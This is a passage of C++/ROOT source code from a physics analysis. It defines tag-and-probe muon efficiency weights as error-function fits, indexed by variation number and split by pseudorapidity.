0.9579*TMath::Erf((x-1.6494)/2.1508);\n else if (idx == 10 ) num = 0.9611*TMath::Erf((x-1.3995)/2.3846);\n else if (idx == 11 ) num = 0.9553*TMath::Erf((x-1.5769)/2.4887);\n else if (idx == 12 ) num = 0.9927*TMath::Erf((x-1.2934)/2.8614);\n else if (idx == 13 ) num = 0.9689*TMath::Erf((x-1.6733)/2.1308);\n else if (idx == 14 ) num = 0.9677*TMath::Erf((x-1.5914)/2.3259);\n else if (idx == 15 ) num = 0.9498*TMath::Erf((x-1.6213)/2.2265);\n else if (idx == 16 ) num = 0.9981*TMath::Erf((x-1.5474)/2.6294);\n else if (idx == 17 ) num = 0.9566*TMath::Erf((x-1.6260)/2.2666);\n else if (idx == 18 ) num = 0.9637*TMath::Erf((x-1.7857)/1.9085);\n else if (idx == 19 ) num = 0.9891*TMath::Erf((x-1.1183)/3.0663);\n else if (idx == 20 ) num = 0.9625*TMath::Erf((x-1.7861)/1.9473);\n else if (idx == 21 ) num = 0.9816*TMath::Erf((x-1.4461)/2.6316);\n else if (idx == 22 ) num = 0.9533*TMath::Erf((x-1.6919)/1.9712);\n else if (idx == 23 ) num = 0.9781*TMath::Erf((x-1.6831)/2.1241);\n else if (idx == 24 ) num = 0.9391*TMath::Erf((x-1.6315)/2.0061);\n else if (idx == 25 ) num = 0.9685*TMath::Erf((x-1.6208)/2.2084);\n else if (idx == 26 ) num = 0.9378*TMath::Erf((x-1.6176)/1.8588);\n else if (idx == 27 ) num = 0.9851*TMath::Erf((x-1.5616)/2.5608);\n else if (idx == 28 ) num = 0.9715*TMath::Erf((x-1.4177)/2.4401);\n else if (idx == 29 ) num = 0.9565*TMath::Erf((x-1.4087)/2.6610);\n else if (idx == 30 ) num = 0.9866*TMath::Erf((x-1.1504)/3.0086);\n else if (idx == 31 ) num = 0.9743*TMath::Erf((x-1.1424)/2.8948);\n else if (idx == 32 ) num = 0.9435*TMath::Erf((x-1.5286)/2.2686);\n else if (idx == 33 ) num = 0.9657*TMath::Erf((x-1.5931)/2.2059);\n else if (idx == 34 ) num = 0.9857*TMath::Erf((x-1.2805)/2.9793);\n else if (idx == 35 ) num = 0.9663*TMath::Erf((x-1.3391)/2.6491);\n else if (idx == 36 ) num = 0.9759*TMath::Erf((x-1.4775)/2.5575);\n else if (idx == 37 ) num = 0.9835*TMath::Erf((x-1.4982)/2.6455);\n else if (idx == 38 ) num = 0.9946*TMath::Erf((x-1.3276)/2.7413);\n else if (idx == 39 ) num = 0.9515*TMath::Erf((x-1.6369)/2.1667);\n else if (idx == 40 ) num = 0.9508*TMath::Erf((x-1.4388)/2.3989);\n else if (idx == 41 ) num = 0.9888*TMath::Erf((x-1.4619)/2.4613);\n else if (idx == 42 ) num = 0.9731*TMath::Erf((x-1.2972)/2.7154);\n else if (idx == 43 ) num = 0.9985*TMath::Erf((x-1.4898)/2.6072);\n else if (idx == 44 ) num = 0.9320*TMath::Erf((x-1.4094)/2.3230);\n else if (idx == 45 ) num = 0.9511*TMath::Erf((x-1.3477)/2.4102);\n else if (idx == 46 ) num = 0.9864*TMath::Erf((x-1.4347)/2.6130);\n else if (idx == 47 ) num = 0.9957*TMath::Erf((x-1.2196)/2.8369);\n else if (idx == 48 ) num = 0.9479*TMath::Erf((x-1.6938)/2.1571);\n else if (idx == 49 ) num = 0.9630*TMath::Erf((x-1.4457)/2.5090);\n else if (idx == 50 ) num = 0.9838*TMath::Erf((x-1.5105)/2.4755);\n else if (idx == 51 ) num = 0.9864*TMath::Erf((x-1.4726)/2.5555);\n else if (idx == 52 ) num = 0.9537*TMath::Erf((x-1.7316)/1.9708);\n else if (idx == 53 ) num = 0.9763*TMath::Erf((x-1.2341)/2.6906);\n else if (idx == 54 ) num = 0.9688*TMath::Erf((x-1.6741)/2.1406);\n else if (idx == 55 ) num = 0.9708*TMath::Erf((x-1.6162)/2.2292);\n else if (idx == 56 ) num = 0.9565*TMath::Erf((x-1.2409)/2.7221);\n else if (idx == 57 ) num = 0.9670*TMath::Erf((x-1.3479)/2.6662);\n else if (idx == 58 ) num = 0.9569*TMath::Erf((x-1.8988)/1.8177);\n else if (idx == 59 ) num = 0.9848*TMath::Erf((x-1.0690)/2.9668);\n else if (idx == 60 ) num = 0.9516*TMath::Erf((x-1.5590)/2.4386);\n else if (idx == 61 ) num = 0.9798*TMath::Erf((x-1.0860)/3.0184);\n else if (idx == 62 ) num = 0.9580*TMath::Erf((x-1.5088)/2.5848);\n else if (idx == 63 ) num = 0.9396*TMath::Erf((x-1.6843)/2.1154);\n else if (idx == 64 ) num = 0.9742*TMath::Erf((x-0.9365)/3.1109);\n else if (idx == 65 ) num = 0.9481*TMath::Erf((x-1.6703)/2.0737);\n else if (idx == 66 ) num = 0.9642*TMath::Erf((x-1.6919)/2.1213);\n else if (idx == 67 ) num = 0.9828*TMath::Erf((x-1.6155)/2.4307);\n else if (idx == 68 ) num = 0.9851*TMath::Erf((x-1.5165)/2.5912);\n else if (idx == 69 ) num = 0.9627*TMath::Erf((x-1.3952)/2.6783);\n else if (idx == 70 ) num = 0.9556*TMath::Erf((x-1.5954)/2.0434);\n else if (idx == 71 ) num = 0.9558*TMath::Erf((x-1.7714)/1.9476);\n else if (idx == 72 ) num = 0.9417*TMath::Erf((x-1.3330)/2.4873);\n else if (idx == 73 ) num = 0.9641*TMath::Erf((x-1.4129)/2.4777);\n else if (idx == 74 ) num = 0.9753*TMath::Erf((x-1.1892)/2.8455);\n else if (idx == 75 ) num = 0.9616*TMath::Erf((x-1.4862)/2.3338);\n else if (idx == 76 ) num = 0.9850*TMath::Erf((x-1.2442)/2.9777);\n else if (idx == 77 ) num = 0.9609*TMath::Erf((x-1.6084)/2.2445);\n else if (idx == 78 ) num = 0.9847*TMath::Erf((x-1.4876)/2.6138);\n else if (idx == 79 ) num = 0.9382*TMath::Erf((x-1.4622)/2.3917);\n else if (idx == 80 ) num = 0.9697*TMath::Erf((x-1.5235)/2.2411);\n else if (idx == 81 ) num = 0.9709*TMath::Erf((x-1.7719)/1.9731);\n else if (idx == 82 ) num = 0.9544*TMath::Erf((x-1.8381)/1.7623);\n else if (idx == 83 ) num = 0.9970*TMath::Erf((x-1.2574)/2.7917);\n else if (idx == 84 ) num = 0.9995*TMath::Erf((x-1.3149)/2.8497);\n else if (idx == 85 ) num = 0.9650*TMath::Erf((x-1.3187)/2.4415);\n else if (idx == 86 ) num = 0.9700*TMath::Erf((x-1.6363)/2.1275);\n else if (idx == 87 ) num = 0.9342*TMath::Erf((x-1.6477)/2.1985);\n else if (idx == 88 ) num = 0.9425*TMath::Erf((x-1.6008)/2.1196);\n else if (idx == 89 ) num = 0.9784*TMath::Erf((x-1.2755)/2.7493);\n else if (idx == 90 ) num = 0.9691*TMath::Erf((x-1.5775)/2.3070);\n else if (idx == 91 ) num = 0.9697*TMath::Erf((x-1.7054)/2.1071);\n else if (idx == 92 ) num = 0.9575*TMath::Erf((x-1.3237)/2.6191);\n else if (idx == 93 ) num = 0.9691*TMath::Erf((x-1.4130)/2.5344);\n else if (idx == 94 ) num = 0.9677*TMath::Erf((x-1.4688)/2.4914);\n else if (idx == 95 ) num = 0.9685*TMath::Erf((x-1.6630)/1.9997);\n else if (idx == 96 ) num = 0.9705*TMath::Erf((x-1.5190)/2.3908);\n else if (idx == 97 ) num = 0.9537*TMath::Erf((x-1.5912)/2.0281);\n else if (idx == 98 ) num = 0.9409*TMath::Erf((x-1.3793)/2.3750);\n else if (idx == 99 ) num = 0.9441*TMath::Erf((x-1.5825)/2.1456);\n else if (idx == 100 ) num = 0.9794*TMath::Erf((x-1.3770)/2.5317);\n }\n else\n {\n if (idx==0) num = 0.8956*TMath::Erf((x-0.5162)/1.7646);\n else if (idx == -1 ) num = 0.9153*TMath::Erf((x-0.5049)/1.7401);\n else if (idx == -2 ) num = 0.8762*TMath::Erf((x-0.5250)/1.7942);\n else if (idx == 1 ) num = 0.8422*TMath::Erf((x-0.2660)/1.6859);\n else if (idx == 2 ) num = 0.9189*TMath::Erf((x-0.8973)/1.4428);\n else if (idx == 3 ) num = 0.8999*TMath::Erf((x-0.5813)/1.7805);\n else if (idx == 4 ) num = 0.9285*TMath::Erf((x-0.5231)/1.9030);\n else if (idx == 5 ) num = 0.9033*TMath::Erf((x-0.5506)/1.7935);\n else if (idx == 6 ) num = 0.9028*TMath::Erf((x-0.8598)/1.3702);\n else if (idx == 7 ) num = 0.9259*TMath::Erf((x-0.5527)/2.0627);\n else if (idx == 8 ) num = 0.8697*TMath::Erf((x-0.6804)/1.4575);\n else if (idx == 9 ) num = 0.9116*TMath::Erf((x-0.9879)/1.3085);\n else if (idx == 10 ) num = 0.9324*TMath::Erf((x-0.0001)/2.2847);\n else if (idx == 11 ) num = 0.8728*TMath::Erf((x-0.0000)/2.0122);\n else if (idx == 12 ) num = 0.8753*TMath::Erf((x-0.4843)/1.7428);\n else if (idx == 13 ) num = 0.8826*TMath::Erf((x-0.6228)/1.6058);\n else if (idx == 14 ) num = 0.8695*TMath::Erf((x-0.3728)/1.7623);\n else if (idx == 15 ) num = 0.8912*TMath::Erf((x-0.0001)/2.3161);\n else if (idx == 16 ) num = 0.9216*TMath::Erf((x-0.6802)/1.6184);\n else if (idx == 17 ) num = 0.8704*TMath::Erf((x-0.0003)/2.1381);\n else if (idx == 18 ) num = 0.9062*TMath::Erf((x-0.7328)/1.4465);\n else if (idx == 19 ) num = 0.9094*TMath::Erf((x-0.4722)/1.7021);\n else if (idx == 20 ) num = 0.8952*TMath::Erf((x-0.9183)/1.5092);\n else if (idx == 21 ) num = 0.8595*TMath::Erf((x-0.1234)/1.8473);\n else if (idx == 22 ) num = 0.8858*TMath::Erf((x-0.8695)/1.3805);\n else if (idx == 23 ) num = 0.8362*TMath::Erf((x-0.6018)/1.5297);\n else if (idx == 24 ) num = 0.9436*TMath::Erf((x-0.0430)/2.4950);\n else if (idx == 25 ) num = 0.9408*TMath::Erf((x-0.9158)/1.4521);\n else if (idx == 26 ) num = 0.8901*TMath::Erf((x-0.6716)/1.8363);\n else if (idx == 27 ) num = 0.9394*TMath::Erf((x-0.7987)/1.7748);\n else if (idx == 28 ) num = 0.8981*TMath::Erf((x-0.9823)/1.3582);\n else if (idx == 29 ) num = 0.8957*TMath::Erf((x-0.3658)/1.8645);\n else if (idx == 30 ) num = 0.8753*TMath::Erf((x-0.3396)/1.7724);\n else if (idx == 31 ) num = 0.8746*TMath::Erf((x-0.7573)/1.3503);\n else if (idx == 32 ) num = 0.9015*TMath::Erf((x-0.1244)/2.1035);\n else if (idx == 33 ) num = 0.8943*TMath::Erf((x-0.8617)/1.2818);\n else if (idx == 34 ) num = 0.8754*TMath::Erf((x-0.8873)/1.2571);\n else if (idx == 35 ) num = 0.9094*TMath::Erf((x-0.0000)/2.2913);\n else if (idx == 36 ) num = 0.8748*TMath::Erf((x-0.3532)/1.8459);\n else if (idx == 37 ) num = 0.8762*TMath::Erf((x-0.1559)/1.7802);\n else if (idx == 38 ) num = 0.8949*TMath::Erf((x-0.8620)/1.3595);\n else if (idx == 39 ) num = 0.9234*TMath::Erf((x-0.3123)/2.0381);\n else if (idx == 40 ) num = 0.9314*TMath::Erf((x-0.3319)/2.1803);\n else if (idx == 41 ) num = 0.8983*TMath::Erf((x-0.7128)/1.5919);\n else if (idx == 42 ) num = 0.9096*TMath::Erf((x-0.7037)/1.7531);\n else if (idx == 43 ) num = 0.8963*TMath::Erf((x-0.0000)/2.1340);\n else if (idx == 44 ) num = 0.8698*TMath::Erf((x-0.6676)/1.5945);\n else if (idx == 45 ) num = 0.9066*TMath::Erf((x-0.5411)/1.9654);\n else if (idx == 46 ) num = 0.9148*TMath::Erf((x-0.2244)/2.3106);\n else if (idx == 47 ) num = 0.9024*TMath::Erf((x-0.5429)/1.6936);\n else if (idx == 48 ) num = 0.9351*TMath::Erf((x-0.7964)/1.5699);\n else if (idx == 49 ) num = 0.8367*TMath::Erf((x-0.0000)/2.0225);\n else if (idx == 50 ) num = 0.8829*TMath::Erf((x-0.6488)/1.5750);\n else if (idx == 51 ) num = 0.9118*TMath::Erf((x-0.3236)/1.9814);\n else if (idx == 52 ) num = 0.9122*TMath::Erf((x-0.9721)/1.3455);\n else if (idx == 53 ) num = 0.9488*TMath::Erf((x-0.0001)/2.6158);\n else if (idx == 54 ) num = 0.9088*TMath::Erf((x-0.0000)/1.9977);\n else if (idx == 55 ) num = 0.9224*TMath::Erf((x-0.6847)/1.8960);\n else if (idx == 56 ) num = 0.8904*TMath::Erf((x-0.8242)/1.4509);\n else if (idx == 57 ) num = 0.8992*TMath::Erf((x-0.7761)/1.4855);\n else if (idx == 58 ) num = 0.8634*TMath::Erf((x-0.6169)/1.6313);\n else if (idx == 59 ) num = 0.8947*TMath::Erf((x-0.0010)/2.2935);\n else if (idx == 60 ) num = 0.8724*TMath::Erf((x-0.0008)/2.1255);\n else if (idx == 61 ) num = 0.8777*TMath::Erf((x-1.1245)/1.1490);\n else if (idx == 62 ) num = 0.8892*TMath::Erf((x-0.1847)/2.0135);\n else if (idx == 63 ) num = 0.9294*TMath::Erf((x-0.7816)/1.5228);\n else if (idx == 64 ) num = 0.9270*TMath::Erf((x-0.0001)/2.2717);\n else if (idx == 65 ) num = 0.8819*TMath::Erf((x-0.1885)/1.8378);\n else if (idx == 66 ) num = 0.9206*TMath::Erf((x-0.2796)/1.8883);\n else if (idx == 67 ) num = 0.9468*TMath::Erf((x-0.9246)/1.6092);\n else if (idx == 68 ) num = 0.8844*TMath::Erf((x-0.0000)/2.2454);\n else if (idx == 69 ) num = 0.8823*TMath::Erf((x-0.7625)/1.5269);\n else if (idx == 70 ) num = 0.8882*TMath::Erf((x-0.7528)/1.3078);\n else if (idx == 71 ) num = 0.8822*TMath::Erf((x-0.0041)/2.3017);\n else if (idx == 72 ) num = 0.9142*TMath::Erf((x-0.8162)/1.4932);\n else if (idx == 73 ) num = 0.8767*TMath::Erf((x-0.3554)/1.7210);\n else if (idx == 74 ) num = 0.8689*TMath::Erf((x-0.0000)/2.1210);\n else if (idx == 75 ) num = 0.9012*TMath::Erf((x-0.0000)/1.9986);\n else if (idx == 76 ) num = 0.9120*TMath::Erf((x-0.0038)/2.4376);\n else if (idx == 77 ) num = 0.9272*TMath::Erf((x-0.1844)/2.0625);\n else if (idx == 78 ) num = 0.8869*TMath::Erf((x-1.0120)/1.1948);\n else if (idx == 79 ) num = 0.9220*TMath::Erf((x-0.5897)/1.8112);\n else if (idx == 80 ) num = 0.9181*TMath::Erf((x-0.0000)/2.3025);\n else if (idx == 81 ) num = 0.9095*TMath::Erf((x-1.0638)/1.2207);\n else if (idx == 82 ) num = 0.9628*TMath::Erf((x-0.0001)/2.8342);\n else if (idx == 83 ) num = 0.9052*TMath::Erf((x-0.7234)/1.6366);\n else if (idx == 84 ) num = 0.8753*TMath::Erf((x-0.7512)/1.4707);\n else if (idx == 85 ) num = 0.9292*TMath::Erf((x-0.3041)/2.2660);\n else if (idx == 86 ) num = 0.8963*TMath::Erf((x-1.1185)/1.1034);\n else if (idx == 87 ) num = 0.9214*TMath::Erf((x-0.0000)/2.5208);\n else if (idx == 88 ) num = 0.9333*TMath::Erf((x-1.1350)/1.2039);\n else if (idx == 89 ) num = 0.9076*TMath::Erf((x-0.1215)/2.3650);\n else if (idx == 90 ) num = 0.8832*TMath::Erf((x-1.1867)/0.9271);\n else if (idx == 91 ) num = 0.8747*TMath::Erf((x-0.5156)/1.5641);\n else if (idx == 92 ) num = 0.8997*TMath::Erf((x-0.8770)/1.5595);\n else if (idx == 93 ) num = 0.8804*TMath::Erf((x-1.0645)/1.3025);\n else if (idx == 94 ) num = 0.9037*TMath::Erf((x-0.4540)/1.8448);\n else if (idx == 95 ) num = 0.8897*TMath::Erf((x-0.0002)/2.2927);\n else if (idx == 96 ) num = 0.8879*TMath::Erf((x-0.3107)/1.5989);\n else if (idx == 97 ) num = 0.8923*TMath::Erf((x-0.9246)/1.3586);\n else if (idx == 98 ) num = 0.8734*TMath::Erf((x-0.5715)/1.7266);\n else if (idx == 99 ) num = 0.8638*TMath::Erf((x-0.8665)/1.3054);\n else if (idx == 100 ) num = 0.8544*TMath::Erf((x-0.8422)/1.1597);\n }\n\n // return\n return num/den;\n}\n\n/////////////////////////////////////////////////////////////\n// STA P P //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_sta_pp(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<1.6) den = 0.9911*TMath::Erf((x-1.4336)/2.8548);\n else den = den = 0.9132*TMath::Erf((x-0.8045)/1.8366);\n \n // numerator (from data)\n double num=1;\n if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9891*TMath::Erf((x-1.4814)/2.5014);\n else if (idx == -1 ) num = 0.9996*TMath::Erf((x-1.4885)/2.4666);\n else if (idx == -2 ) num = 0.9764*TMath::Erf((x-1.4746)/2.5279);\n else if (idx == 1 ) num = 0.9997*TMath::Erf((x-1.2305)/2.8470);\n else if (idx == 2 ) num = 0.9808*TMath::Erf((x-1.6531)/2.2358);\n else if (idx == 3 ) num = 0.9841*TMath::Erf((x-1.5142)/2.5031);\n else if (idx == 4 ) num = 0.9885*TMath::Erf((x-1.5256)/2.4544);\n else if (idx == 5 ) num = 0.9825*TMath::Erf((x-1.4605)/2.4849);\n else if (idx == 6 ) num = 0.9792*TMath::Erf((x-1.4838)/2.4373);\n else if (idx == 7 ) num = 0.9958*TMath::Erf((x-1.5510)/2.4435);\n else if (idx == 8 ) num = 0.9863*TMath::Erf((x-1.5458)/2.4393);\n else if (idx == 9 ) num = 0.9798*TMath::Erf((x-1.5607)/2.3604);\n else if (idx == 10 ) num = 0.9781*TMath::Erf((x-1.4435)/2.4518);\n else if (idx == 11 ) num = 0.9760*TMath::Erf((x-1.5528)/2.4327);\n else if (idx == 12 ) num = 0.9988*TMath::Erf((x-1.4017)/2.6770);\n else if (idx == 13 ) num = 0.9878*TMath::Erf((x-1.5813)/2.3393);\n else if (idx == 14 ) num = 0.9823*TMath::Erf((x-1.5285)/2.4336);\n else if (idx == 15 ) num = 0.9714*TMath::Erf((x-1.5666)/2.3340);\n else if (idx == 16 ) num = 1.0000*TMath::Erf((x-1.5067)/2.5766);\n else if (idx == 17 ) num = 0.9794*TMath::Erf((x-1.5532)/2.4038);\n else if (idx == 18 ) num = 0.9831*TMath::Erf((x-1.6256)/2.2598);\n else if (idx == 19 ) num = 0.9972*TMath::Erf((x-1.3103)/2.7837);\n else if (idx == 20 ) num = 0.9777*TMath::Erf((x-1.6366)/2.2356);\n else if (idx == 21 ) num = 0.9921*TMath::Erf((x-1.4602)/2.5783);\n else if (idx == 22 ) num = 0.9787*TMath::Erf((x-1.5735)/2.2953);\n else if (idx == 23 ) num = 0.9908*TMath::Erf((x-1.5606)/2.3858);\n else if (idx == 24 ) num = 0.9686*TMath::Erf((x-1.5499)/2.2851);\n else if (idx == 25 ) num = 0.9839*TMath::Erf((x-1.5491)/2.3801);\n else if (idx == 26 ) num = 0.9704*TMath::Erf((x-1.5020)/2.3000);\n else if (idx == 27 ) num = 0.9962*TMath::Erf((x-1.5253)/2.5331);\n else if (idx == 28 ) num = 0.9877*TMath::Erf((x-1.4312)/2.5322);\n else if (idx == 29 ) num = 0.9809*TMath::Erf((x-1.4750)/2.5360);\n else if (idx == 30 ) num = 0.9964*TMath::Erf((x-1.3416)/2.7330);\n else if (idx == 31 ) num = 0.9882*TMath::Erf((x-1.3116)/2.7141);\n else if (idx == 32 ) num = 0.9734*TMath::Erf((x-1.4982)/2.4234);\n else if (idx == 33 ) num = 0.9837*TMath::Erf((x-1.5326)/2.3887);\n else if (idx == 34 ) num = 0.9927*TMath::Erf((x-1.3951)/2.6987);\n else if (idx == 35 ) num = 0.9864*TMath::Erf((x-1.4228)/2.5776);\n else if (idx == 36 ) num = 0.9866*TMath::Erf((x-1.4885)/2.5036);\n else if (idx == 37 ) num = 0.9932*TMath::Erf((x-1.4908)/2.5735);\n else if (idx == 38 ) num = 0.9996*TMath::Erf((x-1.3992)/2.6534);\n else if (idx == 39 ) num = 0.9794*TMath::Erf((x-1.5634)/2.3570);\n else if (idx == 40 ) num = 0.9768*TMath::Erf((x-1.4562)/2.4804);\n else if (idx == 41 ) num = 0.9984*TMath::Erf((x-1.4645)/2.5347);\n else if (idx == 42 ) num = 0.9864*TMath::Erf((x-1.3932)/2.6099);\n else if (idx == 43 ) num = 0.9996*TMath::Erf((x-1.4791)/2.5683);\n else if (idx == 44 ) num = 0.9684*TMath::Erf((x-1.4392)/2.4518);\n else if (idx == 45 ) num = 0.9763*TMath::Erf((x-1.4217)/2.4716);\n else if (idx == 46 ) num = 0.9948*TMath::Erf((x-1.4627)/2.5648);\n else if (idx == 47 ) num = 0.9998*TMath::Erf((x-1.3571)/2.6758);\n else if (idx == 48 ) num = 0.9752*TMath::Erf((x-1.5850)/2.3455);\n else if (idx == 49 ) num = 0.9818*TMath::Erf((x-1.4742)/2.4910);\n else if (idx == 50 ) num = 0.9945*TMath::Erf((x-1.4668)/2.5607);\n else if (idx == 51 ) num = 0.9940*TMath::Erf((x-1.4846)/2.5226);\n else if (idx == 52 ) num = 0.9768*TMath::Erf((x-1.6064)/2.2607);\n else if (idx == 53 ) num = 0.9916*TMath::Erf((x-1.3411)/2.6676);\n else if (idx == 54 ) num = 0.9842*TMath::Erf((x-1.5723)/2.3520);\n else if (idx == 55 ) num = 0.9890*TMath::Erf((x-1.5482)/2.3999);\n else if (idx == 56 ) num = 0.9759*TMath::Erf((x-1.4152)/2.5205);\n else if (idx == 57 ) num = 0.9845*TMath::Erf((x-1.4162)/2.5878);\n else if (idx == 58 ) num = 0.9759*TMath::Erf((x-1.7060)/2.1569);\n else if (idx == 59 ) num = 0.9952*TMath::Erf((x-1.2909)/2.7459);\n else if (idx == 60 ) num = 0.9740*TMath::Erf((x-1.5456)/2.4154);\n else if (idx == 61 ) num = 0.9921*TMath::Erf((x-1.2999)/2.7547);\n else if (idx == 62 ) num = 0.9790*TMath::Erf((x-1.5088)/2.5043);\n else if (idx == 63 ) num = 0.9705*TMath::Erf((x-1.5901)/2.3125);\n else if (idx == 64 ) num = 0.9907*TMath::Erf((x-1.2406)/2.7966);\n else if (idx == 65 ) num = 0.9776*TMath::Erf((x-1.5751)/2.3212);\n else if (idx == 66 ) num = 0.9871*TMath::Erf((x-1.5730)/2.3779);\n else if (idx == 67 ) num = 0.9925*TMath::Erf((x-1.5635)/2.4470);\n else if (idx == 68 ) num = 0.9951*TMath::Erf((x-1.4928)/2.5688);\n else if (idx == 69 ) num = 0.9850*TMath::Erf((x-1.4419)/2.5940);\n else if (idx == 70 ) num = 0.9827*TMath::Erf((x-1.4959)/2.4007);\n else if (idx == 71 ) num = 0.9793*TMath::Erf((x-1.6164)/2.2787);\n else if (idx == 72 ) num = 0.9694*TMath::Erf((x-1.4133)/2.4945);\n else if (idx == 73 ) num = 0.9874*TMath::Erf((x-1.4365)/2.5503);\n else if (idx == 74 ) num = 0.9917*TMath::Erf((x-1.3423)/2.6975);\n else if (idx == 75 ) num = 0.9807*TMath::Erf((x-1.4708)/2.4584);\n else if (idx == 76 ) num = 0.9938*TMath::Erf((x-1.4043)/2.6676);\n else if (idx == 77 ) num = 0.9818*TMath::Erf((x-1.5339)/2.4156);\n else if (idx == 78 ) num = 0.9967*TMath::Erf((x-1.4764)/2.5805);\n else if (idx == 79 ) num = 0.9674*TMath::Erf((x-1.4919)/2.4139);\n else if (idx == 80 ) num = 0.9867*TMath::Erf((x-1.4662)/2.4670);\n else if (idx == 81 ) num = 0.9877*TMath::Erf((x-1.6161)/2.3018);\n else if (idx == 82 ) num = 0.9770*TMath::Erf((x-1.6503)/2.1851);\n else if (idx == 83 ) num = 0.9997*TMath::Erf((x-1.3749)/2.6550);\n else if (idx == 84 ) num = 1.0000*TMath::Erf((x-1.4090)/2.6545);\n else if (idx == 85 ) num = 0.9845*TMath::Erf((x-1.3795)/2.5452);\n else if (idx == 86 ) num = 0.9855*TMath::Erf((x-1.5484)/2.3563);\n else if (idx == 87 ) num = 0.9614*TMath::Erf((x-1.5913)/2.2771);\n else if (idx == 88 ) num = 0.9702*TMath::Erf((x-1.5391)/2.3327);\n else if (idx == 89 ) num = 0.9880*TMath::Erf((x-1.3903)/2.6074);\n else if (idx == 90 ) num = 0.9873*TMath::Erf((x-1.5271)/2.4336);\n else if (idx == 91 ) num = 0.9873*TMath::Erf((x-1.5820)/2.3645);\n else if (idx == 92 ) num = 0.9783*TMath::Erf((x-1.4245)/2.5306);\n else if (idx == 93 ) num = 0.9831*TMath::Erf((x-1.4624)/2.4908);\n else if (idx == 94 ) num = 0.9872*TMath::Erf((x-1.4791)/2.5078);\n else if (idx == 95 ) num = 0.9885*TMath::Erf((x-1.5323)/2.3743);\n else if (idx == 96 ) num = 0.9855*TMath::Erf((x-1.5063)/2.4558);\n else if (idx == 97 ) num = 0.9748*TMath::Erf((x-1.5128)/2.3255);\n else if (idx == 98 ) num = 0.9771*TMath::Erf((x-1.4117)/2.5177);\n else if (idx == 99 ) num = 0.9759*TMath::Erf((x-1.5152)/2.3957);\n else if (idx == 100 ) num = 0.9944*TMath::Erf((x-1.4125)/2.5834);\n }\n else\n {\n if (idx==0) num = 0.8956*TMath::Erf((x-0.5162)/1.7646);\n else if (idx == -1 ) num = 0.9153*TMath::Erf((x-0.5049)/1.7401);\n else if (idx == -2 ) num = 0.8762*TMath::Erf((x-0.5250)/1.7942);\n else if (idx == 1 ) num = 0.8598*TMath::Erf((x-0.3794)/1.6775);\n else if (idx == 2 ) num = 0.9071*TMath::Erf((x-0.7765)/1.5351);\n else if (idx == 3 ) num = 0.9070*TMath::Erf((x-0.5316)/1.8221);\n else if (idx == 4 ) num = 0.9148*TMath::Erf((x-0.5456)/1.8124);\n else if (idx == 5 ) num = 0.8999*TMath::Erf((x-0.5368)/1.7840);\n else if (idx == 6 ) num = 0.9028*TMath::Erf((x-0.7388)/1.5306);\n else if (idx == 7 ) num = 0.9112*TMath::Erf((x-0.5761)/1.8778);\n else if (idx == 8 ) num = 0.8828*TMath::Erf((x-0.6303)/1.5635);\n else if (idx == 9 ) num = 0.9021*TMath::Erf((x-0.8599)/1.4212);\n else if (idx == 10 ) num = 0.9214*TMath::Erf((x-0.0992)/2.1977);\n else if (idx == 11 ) num = 0.8966*TMath::Erf((x-0.0000)/2.1930);\n else if (idx == 12 ) num = 0.8840*TMath::Erf((x-0.5171)/1.7189);\n else if (idx == 13 ) num = 0.8872*TMath::Erf((x-0.5657)/1.6991);\n else if (idx == 14 ) num = 0.8801*TMath::Erf((x-0.4565)/1.7340);\n else if (idx == 15 ) num = 0.8986*TMath::Erf((x-0.0001)/2.3079);\n else if (idx == 16 ) num = 0.9161*TMath::Erf((x-0.5990)/1.7086);\n else if (idx == 17 ) num = 0.8810*TMath::Erf((x-0.1226)/2.0724);\n else if (idx == 18 ) num = 0.9073*TMath::Erf((x-0.5643)/1.7015);\n else if (idx == 19 ) num = 0.9056*TMath::Erf((x-0.4883)/1.7268);\n else if (idx == 20 ) num = 0.9011*TMath::Erf((x-0.7915)/1.6093);\n else if (idx == 21 ) num = 0.8770*TMath::Erf((x-0.2307)/1.8953);\n else if (idx == 22 ) num = 0.8914*TMath::Erf((x-0.6992)/1.5914);\n else if (idx == 23 ) num = 0.8560*TMath::Erf((x-0.6063)/1.5601);\n else if (idx == 24 ) num = 0.9262*TMath::Erf((x-0.2751)/2.1548);\n else if (idx == 25 ) num = 0.9307*TMath::Erf((x-0.7603)/1.6270);\n else if (idx == 26 ) num = 0.8949*TMath::Erf((x-0.6696)/1.7413);\n else if (idx == 27 ) num = 0.9239*TMath::Erf((x-0.7273)/1.7403);\n else if (idx == 28 ) num = 0.8983*TMath::Erf((x-0.8582)/1.4675);\n else if (idx == 29 ) num = 0.8970*TMath::Erf((x-0.3959)/1.8485);\n else if (idx == 30 ) num = 0.8809*TMath::Erf((x-0.4183)/1.7454);\n else if (idx == 31 ) num = 0.8817*TMath::Erf((x-0.6713)/1.5019);\n else if (idx == 32 ) num = 0.8976*TMath::Erf((x-0.2735)/1.9515);\n else if (idx == 33 ) num = 0.8952*TMath::Erf((x-0.7057)/1.5066);\n else if (idx == 34 ) num = 0.8842*TMath::Erf((x-0.7611)/1.4477);\n else if (idx == 35 ) num = 0.9058*TMath::Erf((x-0.0001)/2.3016);\n else if (idx == 36 ) num = 0.8841*TMath::Erf((x-0.4137)/1.8044);\n else if (idx == 37 ) num = 0.8802*TMath::Erf((x-0.2550)/1.7980);\n else if (idx == 38 ) num = 0.8932*TMath::Erf((x-0.7425)/1.5000);\n else if (idx == 39 ) num = 0.9204*TMath::Erf((x-0.2807)/2.0567);\n else if (idx == 40 ) num = 0.9197*TMath::Erf((x-0.4595)/1.9504);\n else if (idx == 41 ) num = 0.8961*TMath::Erf((x-0.6696)/1.6281);\n else if (idx == 42 ) num = 0.9087*TMath::Erf((x-0.6564)/1.7282);\n else if (idx == 43 ) num = 0.9029*TMath::Erf((x-0.0140)/2.2072);\n else if (idx == 44 ) num = 0.8831*TMath::Erf((x-0.6211)/1.6572);\n else if (idx == 45 ) num = 0.9050*TMath::Erf((x-0.5887)/1.8157);\n else if (idx == 46 ) num = 0.9094*TMath::Erf((x-0.3107)/2.1052);\n else if (idx == 47 ) num = 0.9037*TMath::Erf((x-0.4793)/1.8075);\n else if (idx == 48 ) num = 0.9198*TMath::Erf((x-0.7007)/1.6440);\n else if (idx == 49 ) num = 0.8651*TMath::Erf((x-0.0000)/2.1206);\n else if (idx == 50 ) num = 0.8829*TMath::Erf((x-0.6340)/1.5785);\n else if (idx == 51 ) num = 